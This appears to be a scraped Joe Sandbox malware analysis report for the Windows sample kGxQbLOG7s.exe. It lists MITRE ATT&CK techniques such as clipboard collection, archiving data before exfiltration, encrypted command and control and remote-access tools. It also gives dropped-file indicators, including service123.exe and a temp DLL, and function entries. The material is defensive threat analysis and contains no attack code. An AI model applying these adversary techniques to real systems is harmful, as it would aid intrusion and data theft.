Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may use legitimate desktop support and remote access software to establish an interactive command and control channel to target systems within networks. These services, such as `VNC`, `Team Viewer`, `AnyDesk`, `ScreenConnect`, `LogMein`, `AmmyyAdmin`, and other remote monitoring and management (RMM) tools, are commonly used as legitimate technical support software and may be allowed by application control within a target environment.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report kGxQbLOG7s.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_kGxQbLOG7s.exe_c7d36f7bc677f8295c12855234901c754137fad2_51ae90bb_f3202010-f74b-4c9c-99a3-80e4c132c57a\Report.wer

C:\ProgramData\Microsoft\Windows\WER\Temp\WER2D95.tmp.dmp

C:\ProgramData\Microsoft\Windows\WER\Temp\WER341D.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windows\WER\Temp\WER347C.tmp.xml

C:\Users\user\AppData\Local\Temp\ehoYPkfWhVokJMBQaExv.dll

C:\Users\user\AppData\Local\Temp\service123.exe

C:\Windows\appcompat\Programs\Amcache.hve

Static File Info

General

File Icon

Windows Analysis Report
kGxQbLOG7s.exe

Function 0048116C Relevance: 19.7, APIs: 13, Instructions: 200
sleepstringCOMMON

Function 004815B0 Relevance: 19.4, APIs: 8, Strings: 3, Instructions: 121
COMMON

Function 6C7A14B0 Relevance: 19.4, APIs: 8, Strings: 3, Instructions: 121
COMMON

Function 6C7B9C22 Relevance: 15.1, APIs: 10, Instructions: 110
sleepclipboardCOMMON

Function 004881E0 Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 87
libraryloaderCOMMON

Function 00488230 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 90
libraryloaderCOMMON

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre